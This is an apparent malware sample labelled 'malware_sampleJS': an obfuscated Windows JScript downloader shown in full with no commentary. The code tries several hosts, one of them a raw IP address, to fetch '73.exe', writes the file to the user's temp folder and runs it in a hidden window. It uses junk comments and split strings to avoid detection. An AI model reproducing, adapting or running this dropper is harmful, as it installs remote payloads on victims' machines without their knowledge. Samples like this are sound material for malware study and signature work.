malware_sampleJS

var M = "
auctorit.com/beta/js/73.exe? www.achesoncorner.com/wp-includes/fonts/73.exe? 74.117.183.84
/73.exe? ?".split(" ");
var sPg = ((1/*Y3Y6612814596n889827uM354193eOiZ*/) ? "WScri" : "") + "pt.Shell";
var dB = WScript.CreateObject(sPg);
var fZ = "%TEMP%\\";
var oNB = dB.ExpandEnvironmentStrings(fZ);
var eSL = "2.XMLH";
var vvQ = eSL + "TTP";
var Tn = true, koSm = "ADOD";
var Ko = WScript.CreateObject("MS" + "XML" + (670329, vvQ));
var YqB = WScript.CreateObject(koSm + "B.St" + (160892, "ream"));
var vPm = 0;
var F = 1;
for (var T = vPm; T < M.length; T ++ ){
  var hQ = 0;
  try {
    poi = "GET";
    Ko.open(poi, "http://" + M[T] + F, false);
    Ko.send();
    if (Ko.status == 920 - 720){
      YqB.open();
      YqB.type = 1;
      YqB.write(Ko.responseBody);
      if (YqB.size > 172264 - 609){
        hQ = 1;
        YqB.position = 0;
        YqB.saveToFile/*vHeD15uued*/(oNB/*sVTv61Ekz7*/ + F + ".exe", 4 - 2);
        try {
          if (((new Date()) > 0, 7383478888)){
            dB./*d3518262GNy*/Run(oNB + F +/* k22j50ypXp */ ".exe" ,/* N10Q43P9pr */ 3 - 2
            , 0);
            break ;
          }
        }
        catch (rz){
        }
        ;
      }
      ;
      YqB.close();
    }
    ;
    if (hQ == 1){
      vPm = T;
      break ;
    }
    ;
  }
  catch (rz){
  }
  ;
}
;